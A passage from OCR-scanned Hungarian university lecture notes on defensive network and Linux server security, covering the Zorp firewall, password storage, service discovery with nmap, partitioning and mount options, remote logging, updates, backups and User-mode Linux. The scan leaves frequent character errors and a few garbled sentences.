csomagban szerepel egy allapottartd csomagsziird, maga a Zorp tiizfal
engine program, valamint [PSec VPN tamogatas és kiilonbozd kiegészitd
programok: DNS, SMTP, NTP és a syslog-ng, ami a Balabit altal irt

naplézo rendszer.
A rendszer legfontosabb jellemz6i didohéjban a kovetkezok:

Egyszerti telepitd
Sajat megerdsitett operacios rendszer
Ubuntu Linux alapt

Felesleges csomagok eltavolitva, néhany sajat kiegészitd csomag
(pl. syslog-ng)
SUID/SGID bitek eltavolitva

Alkalmazésszinti szlirés, modularis felépités (19 tamogatott

protokoll)

Transzparens miikodés

Flexibilis konfiguralhat6sag

Magas rendelkezésre allas, terhelésmegosztas (fiirtozés)

Er6s authentikaciés megoldasok, beépitett PKI kezelés
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Tartalom sz{ird szerver (virus és spam filter)
VPN tamogatas (IPSec, PPTP, L2TP)
Kozpontositott menedzsment, feliigyelet

Grafikus kezeldi feliilet

5.3.2. Architektura

Elészor tekintsiik 4t, hogy milyen részei vannak egy Zorp tlizfal

rendszernek, és mi ezek feladata! Ezek az elemek:

Zorp: a tlizfal node maga, tobb is lehet beldle (teljesitmény és

hibatiirés), Zorp OS-t igényel

ZMS: Zorp Management System — Ez egy kdzponti menedzsment
szervert jelent, szintén Zorp OS-t igényel. A feladatai:

- Konfiguraciok tarolasa, szétosztasa
- Monitorozas, allapotfigyelés
« PKI, kulcsmenedzsment

ZMC: Zorp Management Console — Egy grafikus feliilettel
rendelkezd kliens program a ZMS-hez, ebbdl szintén tobb is lehet a

rendszerben. Futhat Debian Linux-on vagy akar Windows-on is.

ZAS: Zorp Authentication Server — Felhasznalok azonositasara
szolgalo alkalmazas melyet kiilon kell telepiteni a tlizfalra vagy

barmilyen dedikalt szerverre.
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ZCV: Zorp Content Vectoring Server — A felhasznalok altal le és
feloltott adat tartalom teljes virus- és spamsziirésére hasznélhaté

szerver alkalmazas

Egy jo magyaraz6 abrat (mi hol van, mihez hogyan kapcsolodik) majd még

kapok Holtzl Pétertdl!

Egy Zorp rendszer konfigurdcidja a feladatatol fiigg. Egy nagy halozat
védelme esetén valdsziniileg tobb tlizfal node-ot fogunk alkalmazni, ZMC-
bol is tobb lehet, de ZMS-bdl mindenképpen csak egy. Ez bizonyos
értelemben gyenge pontja a rendszernek (single point of failure), mert ha
valamiért meghibasodik, akkor a rendszert nem lehet menedzselni. Viszont
a rendszer ett6l még tovabb miikddik! Egy minimalis rendszerhez elég
egyetlen Zorp tlizfal node, és hasznalhatunk még egy masik gépet, amin
ZMS ¢és egy ZMC is fut, vagy tehetjiik a ZMS-t is a tlizfal node-ra, és a
ZMC-t pedig egy masik gépre, akar a rendszergazda notebookjara is, amit
csak akkor kot a haldzatra, ha menedzselni szeretné a tiizfalat, igy tehat

egyetlen dedikalt géppel is megoldhatjuk a feladatot.

A rendszer a részei kozott (pl. ZMC-ZMS, ZMS-Zorp) erds kriptografian
alapul6 biztonsagos kommunikacidt (SSL) hasznél, ehhez sajat nyilvanos

kulecst infrastruktaraval (PKI) 1is rendelkezik (szabvanyos X.509
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certificate-eket hasznal). Az elsd bejelentkezéskor pedig egyszer
hasznalatos jelszot (one time password) alkalmaz, amit a telepitéskor kell

megadni.

5.3.3. Aforgalom engedélyezésének leirasa

Az iptables-szel szemben, itt nem szabdlyok vannak, hanem eldszor
zonakat kell definidlnunk, majd azok kozott adhatunk meg
szolgélatatdsokat. A zoéndk kozott leszarmazasi viszony lehet. A
leszarmazasi viszony adminisztrativ jellegli, nem jelent részhalmazt. Az
értelme az, hogy a gyerek zona 6rokol a sziild zonatdl. A szolgaltatasok
névadasanak van egy olyan konvencidja, hogy a nevében benne van, hogy
honnan, mi és hova megy. Példaul az intra HTTP_inter azt jelenti, hogy az
intra zO6nabol azt inter zénaba a HTTP szolgéltatdst engedélyezziik. Itt
persze még csak HTTP-nek neveztiik a szolgdltatast; azt, hogy milyen
protokollt engedélyeziink, a HTTP proxy osztallyal hatdrozzuk meg. Az
iptables utan taldn nem haszontalan hangstlyozni, hogy olyannal, hogy
valaszcsomagok, itt természetesen nem kell foglalkoznunk, hiszen az része

a szolgaltatasnak.

A fentiekben a forgalomleirasnak csak az alapotletét adtuk meg, ennél azért
még joval Osszetettebb a dolog (pl. dispatcherek, matcherek sessionok,

servicek, policyk és fejlett proxy osztalyok).
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5.3.4. Arendszer konfiguralasa

A rendszer konfiguralasa soran el kell inditanunk egy ZMC-t és az
csatlakozik a ZMS-hez. Authentikdcié utdn letolthetjik az aktudlis
konfiguraciot és szerkeszthetjiik a ZMC grafikus feliiletének segitségével.
Ett6]l még a ZMS-ben tarolt konfiguracio valtozatlan marad! Ha
megfelelonek tartjuk a bedllitdsainkat, akkor feltolthetjiik a ZMS-re, ha
pedig valamit elhibadztunk, akkor ujra letdlthetjik a ZMS-ben tarolt
beallitasokat. Az ismét egy kiilon 1épés, hogy a ZMS-bdl a tlizfal node-okra

attoltjiik a konfiguraciot és jrainditjuk a szolgaltatasokat.
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6. Linux szerverek biztonsagi kérdései

A fejezetben targyalt témakorok nem meritik ki a Linux szerverek
biztonsagi kérdéseit és nagy résziik nem csupédn a Linux, hanem UNIX és
mas Unix szerli operacios rendszerek esetén is hasznalhatok. A téma irant
mélyebben érdekl6dok szdmara ajanlott olvasmany a Practical Unix &
Internet Security c¢. konyv, amely tobb mint 900 oldalon targyalja a

kiilonféle Unix (szeril) rendszerek biztonsagi kérdéseit.

Ez a fejezet Jonas Zsolt eldadasanak felhasznéalasaval késziilt.

6.1. A /etc/passwd fijl

A felhasznalok autentikdcidjadhoz hagyomanyosan hasznalt megoldas az,
hogy a /etc/passwd f3jl tartalmazza a felhasznald kodolt jelszavat.
Mivel ennek a fijlnak torténelmi okokbol (programok hasznaljak a
tartalmat) mindenki szdmara olvashatonak kell lennie, az Gsszes
felhasznald képes a tobbiek (beleértve a rendszergazda) kodolt jelszavat
olvasni. R4dadasul a hagyomanyos jelszavak legfeljebb 8 karakter hosszuak,
s6t némely rendszer ennél rovidebb jelszé beallitdsat is megengedi. A
helyzet még ennél is rosszabb, mert a felhasznalok nagyon gyakran gyenge
jelszavakat (pl. rdjuk vagy kornyezetiikre jellemzd informacid, értelmes
sz0, vagy értelmes sz6 kevés kiegészitéssel) valaszt, ami a szotaras torést a
kimeritd keresésnél lényegesen gyorsabbd teszi. A tdmadod dolga még
konnyebb, ha nem a rendszergazda (egy konkrét és jo esetben gondos

személy) jelszavat igyekszik megszerezni, hanem csak valamely
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tetszéleges felhasznaldét. (Példaul azért, hogy annak nevében kovessen el
tamadast mas rendszerek ellen.) Egy sokfelhaszndldos rendszerben

varhat6an akadnak nagyon gondatlan felhasznalok!

A legéltalanosabb védekezés az, hogy a kodolt jelszavakat nem a mindenki
szdmara olvashat6 /etc/passwd fijlban, hanem a védett
/etc/shadow fijlban taroljak. A biztonsadgot tovabb noveli, ha a
jelszavak kodolasara nem a DES alapi crypt() fliggvényt, hanem
valamilyen hosszabb jelszavakat megengedd (és nem csupan megengedd,
hanem értelmesen ki is haszndlo) titkositdst (pl. MDS5 vagy SHA-*)

alkalmaznak. A jelszavak helyes megvalasztasara még visszatériink.

Természetesen a  felhasznald  azonositasara  hasznalhatunk  mas

megoldasokat is, pl. NIS, NIS+, LDAP, Kerberos.

Fontos a jelszavak titkos kezelése (pl. nem ragasztjuk fel cetlit a monitorra)

¢s rendszeres, kotelezd érvényli cseréje.

6.2. Az inetd szuperszerver

Az inetd szuperszerver tipikus tdmadasi pont lehet, hiszen barmely pontjan
sikertil is feltdrni, maris az Osszes szolgaltatasat birtokba veheti a tdmado.
Linux diszribuciotdl fliggden alapbedllitasokkal tobb vagy kevesebb
felesleges ¢és/vagy nem biztonsdgos szolgaltatdst is elindit, ezeket

mindenképpen tiltsuk le. Ha lehetséges, ne hasznaljuk, am a standalone
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moddban futd szolgaltatdsok ugyantigy lehetnek foloslegesek és/vagy nem

biztonsagosak!

6.3. Szolgaltatasok felderitése

Egy frissen telepitett rendszeren mindenképpen meg kell vizsgalni, hogy
milyen szolgaltatasok futnak, erre hasznalhat6 az nmap parancs. Ennek

lehetséges opcioi:
- nmap -sT <« csak a TCP portokat deriti fel — ez az
alapértelmezett!
- nmap -sU « csak az UDP portokat deriti fel

- nmap -sP <halézatcim netmaszkkal> « megnézi mely

gépek érhetdek el az adott [P cim tartomanyban

Fontos, hogy az alapértelmezés szerint vizsgalt TCP portokon kiviil az
UDP portokat is megvizsgéaljuk, mert UDP-n futd szolgaltatdsokon

keresztiil is fel lehet torni egy rendszert!

Ha mar kideritettiik, hogy milyen portok vannak nyitva, akkor szeretnénk
azt is tudni, hogy mely program hasznalja az adott portot. Példaul a 80-as
TCP porton figyeld szolgaltatas lekérdezése:

fuser -vn tcp 80
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A szervereinket altalaban egy tlizfal védi, de ekkor is tanacsos minden
szerveren is egy iptables alapt tlizfalat haszndlni és alapértelmezésben
minden portot tiltani, kivétel amit és amilyen iranybol engedélyezni
szlikséges. Gondoljunk arra, hogy a DMZ-ben taladlhatdé szervereket

egymastol is védeni kell!

6.4. Egy biztonsagos Linux szerver kialakitasa

Lassunk egy példat, hogyan kell egy Linux kiszolgalot realis biztonsagra
torekedve kialakitani. A realis biztonsag mértéke a kiszolgalo céljatol fiigg.
Ne gondoljuk azt, hogy rendszeriink hibatlan, sét szdmitsunk a betorésekre.
Fontos a megfeleld naplozas, mert a rendszerek jelentds részét éppen azért
torik fel, hogy az adott géprdl tdamadjanak més gépeket. Ilyenkor a tdamado
leleplezésében ¢€s sajat magunk jogi védelmében is nagy szerepe van a
sikeres betorés ellenére megorzott naplofajloknak. (Ennek a modjara

visszatériink.)

6.4.1. Particiok kiosztasa

A particiok kiosztdsa nagy mértékben fligg a szerver céljatol. A
naplofajlok szdméra mindenképpen érdemes kiilon particiot hasznalni, amit
valasszunk kelléen nagyra, hogy még a tamado kifejezett ilyen szandéka
esetén sem sikeriiljon konnyen megtoltenie. A kelld6 méret ismét csak a
feladattol fligg, egy névkiszolgalonal lizemszeriien viszonylag keveset kell

naplézni, mig a webszervernél altaldban szeretnénk latni, hogy kik és
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milyen gyakran érik el az oldalainkat, ezek kozil is melyek a

népszeriibbek, stb.

A particiokon alkalmazott fajlrendszer tipusat is a particid céljanak
megfelelden valasszuk meg, az ext3 altalaban megfelel, nagyon sok kis fajl
esetén jO valasztas lehet a reiserfs, nagy multimédias alloméanyok esetén

pedig az xfs.

Egy szerveren felhasznalok csak akkor vannak, ha kifejezetten ez a célja a
rendszernek. Ebben az esetben a felhasznalok altal irhaté konyvtarakat
tegylik kiilon particiora és kvotazzuk. Ilyen a felhasznalok konyvtérait
tartalmazd (pl. /home) konyvtar, a /tmp ¢s a felhasznalok postafiokjai
(pl. /var/mail vagy /var/spool, ahol a postafiokokon kiviil esetleg
a nyomtatasi sorok is talalhatok). Erdemes ezeket egymastol elkiilonitve
tarolni €s kvotdzni. A felhasznalok altal irhatd particiokat nosuid
opcioval mountoljuk fel, és — amennyiben megteheté (lasd fejlesztoi

kornyezet hidnya), akkor — noexec opcidval is.

Minden olyan konyvtarat, amelyekbe a szerver normal miikodése soran
nem kell irni (pl. /usr, /opt), ro opcidoval mountoljuk fel! Ezeket a
konyvtarakat akar masik géprél (ahol csak olvashatéan exportaltuk) NFS-

en keresztiil is felmountolhatjuk.

Lassunk egy példat egy altalanos célu szerver esetén a particiokiosztasra €s

a mountolasi opcidkra:
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/ errors=remount-ro

/home defaults,noexec,nosuid,usrquota,grpquota
/opt defaults, ro

/ tmp defaults,noexec,nosuid

/usr defaults, ro

/var defaults

/var/log defaults,noexec,nosuid

/var/mail defaults,noexec,nosuid,usrquota,grpquota
/var/www defaults,noexec,nosuid,usrquota,grpquota

6.4.2. Fejleszt6i kornyezet hianya

A PC-k elterjedésével egyidejiileg a szerverek feladata jelentésen
megvaltozott.  Mivel a  felhaszndlok  személyi  szamitdgépei
teljesitményiikben 6sszemérhetok a szerverekkel (s6t néha jobbak), ezért
programfejlesztésre altaldban nem kell a szervereket hasznalni. Ekkor
pedig — bar a rendszergazda szdmara ez tobbletmunkat, kellemetlenséget
okozhat — a biztonsag szempontjabol elényds lehet a fejlesztoi kornyezet
hidnya. Ez természetesen nem abszolit védelem, mert a programokat
bindris formaban is be lehet juttatni, de ezeknek egy proxytlizfalon vald
atjuttatasaval, vagy egzotikus architektrara mas gépen torténd
leforditasaval jar6 nehézség arra indithatja a tdmadot, hogy inkabb egy
masik gépet torjon fel. (Kiilondsen akkor, ha nem az adott gépre, hanem
egy szamara alkalmas gépre f4j éppen a foga.) Amennyiben nincs sziikség a
szerveren a fejlesztdi kornyezetre, akkor ha léteznek is felhasznalok, a
noexec is megengedhetd, majd legfeljebb megkérik a rendszergazdat,
hogy tegye fel nekik a kivant programot. (Ez azzal a haszonnal is jar, hogy
nem fogjdk a felhasznalok ugyanazt a programot tobb példanyban

maguknak feltelepiteni.)
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6.4.3. Szolgaltatasok és interaktiv szerverek kiilon

Természetesen lehetnek olyan esetek, amikor a szerver (egyik) f6 célja az,
hogy a felhasznalok interaktivan bejelentkezve dolgozzanak rajta. (Példaul
oktatasi intézmény esetén valamely kereskedelmi UNIX oktatasa, de egy
szegény iskoldban akar a Linux oktatasa is, pl. nagyon régi PC-krél egy
erésebb Linux szerverre jelentkeznek be a tanuldk és ott ismerkednek a C
programozdssal. — Ekkor még fejlesztdi kornyezetre is sziikség van!) Ilyen
esetben a biztonsagra valo torekvés megkoveteli, hogy legalabb két kiilon
szervert hozzunk létre, egyet az interaktiv bejelentkezést nyujtd
szolgaltatasoknak, és egy masikat az egyéb szolgaltatdsok (DNS, web,

FTP, samba, stb.) részére.

Tovabbi védelmet nyujthat, ha a kiilonb6z6é szolgaltatasok részére kiilon
szervereket lizemeltetlink, igy valamely szolgaltatas és az azt nyajté gép
feltorése a masik gépeket és a rajtuk futd szolgaltatdsokat nem érinti.
Ennek egy koltséghatékony ,,virtualis” megoldasara ad lehetdséget a

hamarosan ismertetésre kerillé User-mode Linux.

Akar teljesitményigény, akar hardver hibatlirés szempontjabdl értelmes
megoldas lehet ugyanazon szolgaltatasnak tobb gépen valo futtatasa. (Pl.
nagy forgalmi webszerver, ahol akdr a DNS szerver ad vissza mindig

masik IP cimet, akar a tlizfal osztja szét a bejovo kéréseket.)

6.4.4. Kiilon napl6 (log) szerver

Egy komolyabb tamado6 természetesen eltiinteti maga utdn a nyomokat,

azaz torli, esetleg meghamisitja a naplofajlokat. Ha egy gépet a tdimad6 mar
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hatalmaba keritett, akkor ezt azon a gépen képes is megtenni. Ezért
érdemes a naplofijlokat egy masik szerverre is elkiildeni. Miel6tt erre

ratérnénk, tekintsiik at a naplézassal kapcsolatos alapvetd tudnivaldkat!

A hagyomanyos syslog miikodése

A naplozast a syslogd végzi, és a /etc/syslog.conf fijlban
talalhatok a beallitasai. Ez a f4jl sor orientdlt, azaz minden sora egy
bejegyzésnek szamit. (A szokott modon a sor végén levo ,,\” karakterrel
tobb sor egy sorrd kapcsolhatd 6ssze.) Egy sor két mezobdl all: az elsé a
kivdlaszto (selector), a mésodik a teendo (action). A kettdt szokoz(6k)
¢s/vagy tabulor(ok) valasztja(k) el. A kivalasztd mezd is két részbdl all,
amelyeket egy pont (,,.”) kapcsol 0ssze. A pont eldtt talalhatd rész a
naplozasi lizenet szarmazasat (facility) jelenti, ezek lehetnek: auth,
auth-priv, cron, daemon, ftp, kern, 1lpr, mail, mark, news,
syslog, user, uucp ¢s localO — local7. A pont utdni rész az
esemény sulyossagat fejezi ki, ezek stlyossag szerint novekvd sorrendben a
kovetkezOk: debug, info, notice, warning, err, crit, alert,
emerg. A teendd pedig azt fejezi ki, hogy a naplozasi lizenetet hova kell

kiildeni. Ez lehet példaul:

- fajlnév a teljes utvonallal egyiitt, pl.: /var/log/auth.log

- azon felhasznalok listdja (vesszdvel elvalasztva) akik értesitést
kapjanak (ha be vannak jelentkezve), pl.: root, jonci vagy ha

minden bejelentkezett felhasznalonak, akkor: *
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naplozoé szerver neve (vagy IP cime), pl.:

@logserver.tilb.sze.hu

A naplofijlok helye altaldban a /var/log konyvtar. A logrotate
program a /etc/logrotate. conf fijlban talalhato beallitasok alapjan
tipikusan hetente a naplofajlokat rotdlja, azaz, az egyes fajlok

legbregebbikét letorli, és az ujabbak mindegyikét oregiti 1-gyel.

A syslog-ng miikodése

A syslog-ng leirdsat hallgatdoink megtaladljdk a Halozati operacios

rendszerek targy jegyzetében!

Kiilon naplé szerver megvalositasa és elénye

A napldézasi alapismeretek attekintése utan térjiink vissza a biztonsagra!
Tehat lehetdséglink van ra, hogy a naplofajlokat ne csupan helyben
taroljuk, hanem egy masik gépen is. Ennek célja lehet a rendszergazda
munkdjdnak megkonnyitése is azaltal, hogy az Osszes altala feliigyelt gép
naplofajljait egy helyre gytjtjiik, de kiilonosen nagy lehet a biztonsagi
haszna! Az tlizenetek kiildése ugyanis UDP protokoll folott torténik, ezért
elég, ha a naplokat tarold szerverre csak a kijelolt gépek(ek)-rdl az adott
portra érkezd bejovo UDP forgalmat engedélyezziik, minden mast tiltunk.
(A rendszergazda pedig csak a konzolrol jelentkezhet be.) A halozati hibdk
kikiiszobolésére bekothetiink minden gépet aktiv eszkoz nélkiil, a

logszerveren kiilon Ethernet kartyara keresztkabellel. Kelléen paranoias
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esetben még egy sornyomtatora is elkiildhetjiik a fontosnak itélt naplozasi

iizeneteket, csak gondoskodjunk elegendd papirrol! ;-)

Ha nem csupan utélag szeretnénk a naplokat elemezni, hanem aktivan
szeretnénk védekezni, akkor a biztonsag szempontjabol kritikus iizeneteket
e-mailben vagy SMS-ben elkiildhetjilk az iligyeletes rendszergazdanak...
Ezt persze a meghibasodasra utalo tizenetekkel is megtehetjiik a megfeleld

rendelkezésre allas biztositasa érdekében.

6.4.5. Kernelforditas

Vannak akik vitatjak, hogy érdemes-e sajat kernelt forditani. Az egyes

disztribuciok ugyanis ugyis megpatchelik a http://kernel.org-rol szarmazé
un. vanilla kernelt. Az egyes Linux disztribliciok biztonsagi szintje
jelentdsen eltérd. Sokan a teljesitményre, a kényelemre és a minél tobb
hardver tdmogatdsara koncentrdlnak, némelyek pedig a biztonsdgra. Az
utdbbiak kozé tartozik a Trusted Debian néven induld, késobb Adamantix
nevet viseld projekt is. A kovetkezd link sajnos ma (2008. 04. 02.) mar

teljesen mdasra mutat: http://www.adamantix.org (A projekt végét
valoszintsiti a kovetkezd hir: http://hup.hu/node/38328. Ami maradt

beldle:  http://distrowatch.com/table.php?distribution=adamantix) (Az
Adamantix tobbek kozott tartalmazta a PaX patch-et, ami a

puffertilcsorduldsos tamadasokat hivatott megakadalyozni, példaul ugy,
hogy ne tudjon a timado a verem (stack) vagy a heap teriiletén utasitasokat
végrehajtani. A témaval késobb  részletesebben  foglalkozunk.

Erdeklddéknek: http://pax.grsecurity.net)
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A hozzaértdk valoszinilileg forditanak maguknak sajat kernelt, és csak azt
forditjdk bele, amire valoban sziikségiikk van. (Tobb kodban tébb a
gyakran valtoztatni megtehetjiik, hogy a sajat kerneliinkben minden
eszkozmeghajtot statikusan beleforditunk, amire sziikséglink van, ¢&s
megsziintetjiik a modulok betdltésének lehetdségét. Ekkor a tdmadd sem
fog tudni (mésik kernel betoltése, azaz Gjrainditas nélkiil) pl. olyan modult

betdlteni, ami lathatatlanna tesz bizonyos modulokat, processzeket.

Patch-elésrdl nem irtam, azt meg kellett volna tanulniuk Linuxbol...

6.4.6. Frissitések

A biztonsagi frissitések célja a hibak kijavitdsa. A felfedezett biztonsagi
réseket be kell tomni. Viszont minden frissitéssel ujabb hibak keriilhetnek
a rendszerbe.  Tehat a biztonsagi frissitéseket feltelepitjiik, egyéb
frissitésekkel pedig — ha lehetséges — érdemes varni, amig masok

megtalaljak az esetleges hibakat benniik.

Természetesen az altalunk hasznalt disztribucid tiikdrszerverei sem
abszolut biztonsagosak, sOt a kordbban ismertetett DNS elleni tamaddassal
szemben teljesen védtelenek, ezért biztonsagkritikus esetben érdemes lehet
tobb kiilonbozd tiikkdrszerverrdl letoltdtt mdSsum és SSHA ellendrzd
0sszeg felhasznaldsaval meggy6zddniink arrdl, hogy sértetlen-e amit
feltelepitiink. Ez természetesen nem csupan a frissitésekre, hanem a

telepitésre is vonatkozik. Ha igazdn paranoidsak vagyok, akkor legaldbb
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két megbizhaté szallitotol vasarolt CD-rél szarmazod ellendrzdosszeg-

szamitd programot hasznalunk! ;-)

Frissités esetén az Ujrainditds ideje jelentds lehet, kiilondsen, ha tobb

processzor és merevlemez egység van a rendszerben.

6.4.7. Mentések

Mind az adatokrol, mind a rendszerr6l rendszeresen mentéseket kell
késziteni. Meg kell gy6zddni arrol is, hogy a mentésekbdl a rendszer is, és
az adatok is ténylegesen visszadllithatok. A mentések adathordozéit is
megfeleld biztonsagi korilmények kozott kell tarolni. Ez jelenti egyrészt
titkossagi szintnek megfeleld titokvédelmet, (példaul elzart szekrény,
pancélszekrény, fegyveres biztonsagi 6r — ami indokolt) masrészt a
katasztréfavédelmet (példaul eltérd telephelyen tlizalld szekrényben,
atomtamadas ellen is véd6 bunkerben — ismét a sziikséges szintli védelem,
de a védelemnek az esetleges fizikai szallitasra is ki kell terjednie).
Amennyiben az adatok titkosak (akar a rendszer mentése is lehet titkos),
akkor sziikségtelenné valas esetén gondoskodni kell a megfeleld
megsemmisitésiikrdl is. Mentések soran kiilon oda kell figyelni a kulcsok,

tanusitvanyok kezelésére (pl. titkos kulcs lejarat utani titkos megdrzése).

6.4.8. Dokumentacio

Ez az a pont, amirdl a rendszergazddk szivesen elfeledkeznek, vagy

szivesen hagynak a munka végére (aztan nem késziil el). Pedig rendkiviil

fontos, hogy a rendszert annak létrehozasakor dokumentdljuk. Egyrészt
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ekkor van meg a kellden pontos informacid, ami az idd elteltével egyre
fogy, masrészt az id0 eldrehaladtaval annak a valoszintisége is csokken,
hogy a rendszert egyaltalan dokumentaljdk. Semmiképpen sem tanacsos
egy éles rendszert dokumentacié nélkiil atvenni. Am a dokumentacio
készitése a rendszer ataddsaval nem fejezddhet be. A rendszer lényeges
eseményeit az iizemeltetés soran folytonosan dokumentalni kell (pl.
gépkonyv). A dokumentéicio is lehet bizalmas, amiért az illetéktelen
hozzaféréstdl (természetesen az esetleges meghamisitastol is) védeni kell,
tovabba védeni kell a megsemmisiiléstdl is (ne az adott gépen taroljuk a

gépkonyvet elektronikus formaban).

6.4.9. Tovabbi médszerek, ugyeskedések

Egy érdekes megoldas a busybox. Ekkor a rendszerben haszndlatos
parancsokat (vagy azok nagy részét) egyetlen egy bindris alloméannyal
valdsitjak meg. Ezzel bizonyos mértékben megnehezitik a timado dolgat,
nem olyan konnyl példdul egyes parancsokat lecserélnie az észrevétlen

tevékenykedés érdekében.

A szabvanyoktodl, konvencidktol valo eltérések (pl. parancsok atnevezése,
mitkodésiik megvaltoztatasa, konfigurdcios allomdnyok mas konyvtarban
¢s mas néven valo tarolasa, stb.) szintén képesek a tdmadod tevékenységét
hatraltatni. Az idonyereség segitséget jelenthet a tdimado lefiilelésében. De
azért ne feledkezziink el két dologrol: egyrészt, hogy az algoritmikus
adatvédelem ,,tanulsaga”, hogy a biztonsagnak nem szabad azon alapulnia,

hogy a tdmadd nem ismeri az algoritmust, masrészt pedig, hogy ez kelld
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dokumentacio hianyaban a  rendszergazdanak s okozhat

kellemetlenségeket!

6.5. User-mode Linux

Aki jartas a korszerti szoftver technologidban, annak az ,,UML”-rél a
Unified Modeling Language jut az eszébe. A webes talalatok tobbsége is
arra iranyul, ezért célszeri User-mode Linux-ként keresni. A
tovabbiakban az UML rovidités alatt mindig az utobbit értjiikk. Az UML-lel

kapcsolatban két webhelyet érdemes megemliteni:

« http://user-mode-linux.sourceforge.net — az UML kernel honlapja

- http://usermodelinux.org — az UML felhasznalok kozosségének
oldala (Nem jott be a lap: 2008. 04. 02.)

6.5.1. Mi a User-mode Linux?

Amint a neve is mutatja, az UML azt jelenti, hogy egy felhasznaloi
processzként fut Linux alatt egy masik Linux. A kiilsé igazi Linux —
nevezzilk most gazddnak — szempontjdbdl ez (majdnem) ugyan olyan
processz, mint az 0sszes tobbi. Beliil pedig megvalosit egy virtualis géphez
hasonlé ,,virtudlis Linux-os gép”-et. De nem valosit meg hardver
emulaciot, ez a lényegi miiszaki kiilonbség példaul a VMware-hez

(http://www.vmware.com) képest. WMware alatt tetszdleges operacios

rendszert futtathatunk, nem csak Linuxot. Viszont az kereskedelmi
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szoftver, az UML pedig szabad szoftver. Ha tehat Linux alatt Linuxot
szeretnénk futtatni, akkor az UML nem csupan bdven megfelel, hanem
lényegesen elénydsebb az ingyenessége és teljesitmény okok miatt is,
mivel nem tartalmaz hardver emulaciét! De azért az UML-nek is hozza
kell férnie valahogyan a hardverhez, ehhez a gazda Linuxban sziikség van
kerneltamogatasra. Ez az, amiben az UML futtatdsa tobbet kivan egy

,rendes” processznél.

Korabban az UML futtatasahoz a gazda gép kernelében a skas (separate
kernel address space) patch-re volt sziikség, de a 2.6-os kernelben mar

benne van ez a tiamogatas.

Az UML egész fajlrendszere a gazda Linux szintjén egyetlen f3jl. Ezt
természetesen  masolhatjuk, loop device-on keresztil a sajat
fajlrendszeriinkbe felmountolva moddosithatjuk. Az UML-bAl egyszerre
tobb példanyt is futtathatunk, ezek (a gazda Linux kernelén keresztiil)
egymdssal és barmely mas géppel is kommunikalhatnak. Kivaldan
hasznalhatd példaul tesztelésre is, nagy eldnye, hogy nem kell tobb
hardvert birtokolnunk, faradsdgos munkaval (még ha ez azonos gépek
esetén csupan image masolés akkor is) feltelepiteniink. Mi most biztonsagi

céllal fogunk megismerkedni vele.

6.5.2. A User-mode Linux telepitése

A Linux kernelbe az UML a 2.5 verzioban kerilt bele, a stabil kernelek

koziil a 2.6.9-t6] mar nagyon jol miikodik.
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Az UML az Un. tun/tap megoldéason keresztiil hasznalja a gazda Linuxot a
hardver elérésére. A tap a gazda Linux kernelében van, a tun pedig az UML

kernelében.
Egy megfeleld verzidju kernel esetén allitsunk elé6 UML kernelt!

make proper # eredeti konfiguracids dlloméanyok visszaallitasa

make menuconfig ARCH=um # hardver specifikus dolgok nélkiili

UML kernel

make linux ARCH=um # a kernel a linux nevill bindris allomanyba

kerul

Készitsiink diszk image-et UML-hez!

dd if=/dev/zero of=/tmp/uml.img bs=1M count=500 #

500MB méretii ,,lires” fajl 1étrehozéasa

mkfs.XXX /tmp/uml.img # fijlrendszer készitése, XXX a tipusa, pl.
ext3

mount -o loop /tmp/uml.img /mnt # az () fijlrendszert

felkapcsoljuk a gazda linux fajlrendszerébe

debootstrap <megfeleléen felparaméterezve> # alap

debian rendszer létrehozésa, amibdl hidnyoznak a bedllitadsok, pl. fstab

chroot /mnt # egy shell inditasa, ahol a fijlrendszeriink a most

készitett lesz
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/dev/MAKEDEV ubd # létrehozzuk a merevlemezek megfeleldjét

exit # kilépilink a chroot-olt shellbdl

Inditsuk el az UML-t!

linux ubd=<diszk image fajl> ethO=tuntap,
<gazdagépen a tap szama>, <MAC cim>, <IP cim>,
con=<login konzol> con0=<bootolasi iizenetek ide

irédnak> #igy inditjuk el az UML-t

Természetesen még akkor is sok gyakorlasra van sziikségiink, ha esetleg

elsore el is indulna az UML!

6.5.3. A User-mode Linux biztonsagi céli hasznalata

Miért jo nekiink az UML? Kordbban emlitettikk, hogy biztonsagi
szempontbol elényos a kiillonbozd szolgaltatasokat kiilon gépeken futtatni.
Legalabb az interaktiv bejelentkezést kiilonitsiik el a tobbi szolgaltatastol,
de jo lenne azokat is elkiiloniteni egymdstol. Ennyi gépet azonban
beszerezni sem olcso, rdadasul karban is kell tartani 6ket. Most ahelyett,
hogy olcsd PC-kbdl épitenénk szerver farmot, elegendd ha egy darab nagy
teljesitménytli €és nagy megbizhatosagl gépet vasarolunk. (Tobb processzor,
sok memodria, redundans tapegységek, hot swap merevlemezek legalabb
RAIDI1-be kotve, szintén redundans és mikodés kozben cserélhetod
ventillatorok, stb.) Erre egy gazda Linuxot telepitiink, amely

szolgéltatasokat gyakorlatilag nem nyujt, csak futtatja az UML-eket.
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Azonban ne legyiink naivak! Att6l, hogy valami UML-ben van, még nem
lesz biztonsagos, csupan annyi az eldnyiink, hogy feltdrés esetén a gazda
Linuxon még nincs root joga a tdmadonak, és feltorés gyani esetén
konnyen lecserélhetd egy ,.tiszta” fajlbol futtatott UML-re. Ettdl még
alaposan oda kell figyelni a belsd biztonsagra! (Tehat az UML nem tette
feleslegessé  biztonsagos Linux szerver kialakitdsardl tanultakat,
ellenkezdleg, csak azokkal egyiitt hasznalhat6 biztonséagi céllal!) Raadasul
a gazda gépet védo tlizfal semmi védelmet sem nyujt az egyik UML-bdI a
masik UML vagy a gazda Linux felé irdnyulé tamadasok ellen! Errdl
nekiink kell gondoskodni, pl. egy iptables tiizfallal! Az UML tehat nem
csodaszer, de megfeleld szakértelem és gondossag mellett hasznos eszkoz

lehet.

Azt is meg kell emlitenem, hogy bar mi Tavkozlés-informatika laborban a
szervereinken jelenleg (2008 aprilis) lizemszertien csak UML-t hasznélunk,
Sipécz Péter hallgatom szakdolgozata szerint a Xen jobb teljesitmény-
jellemzdket mutat! A szakdolgozatot hamarosan elérhetové tessziik a labor

honlapjan...
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7. LDAP cimtar

Ez a fejezet Jonas Zsolt munkaja

http://www.openldap.org

Minél tobb szolgaltatast és programot hasznilnak egy intézményen beliil,
minél tobb helyen hasznalunk felhasznal6-azonositast, annal nehezebb
rendszergazdaként kézben tartani a felhaszndlok azonositasat. Nagy

segitséget jelent egy kdzpontositott azonositasi rendszer.

Egy kozponti adatbazis haszndlatdval a biztonsdg is nagymértékben
novelhetd. Azonban gondot jelenthet, ha ez a kdzponti adatbazis valami
oknal fogva elérhetetlenné valik, ezért célszerti hibatliré telepet hasznalni

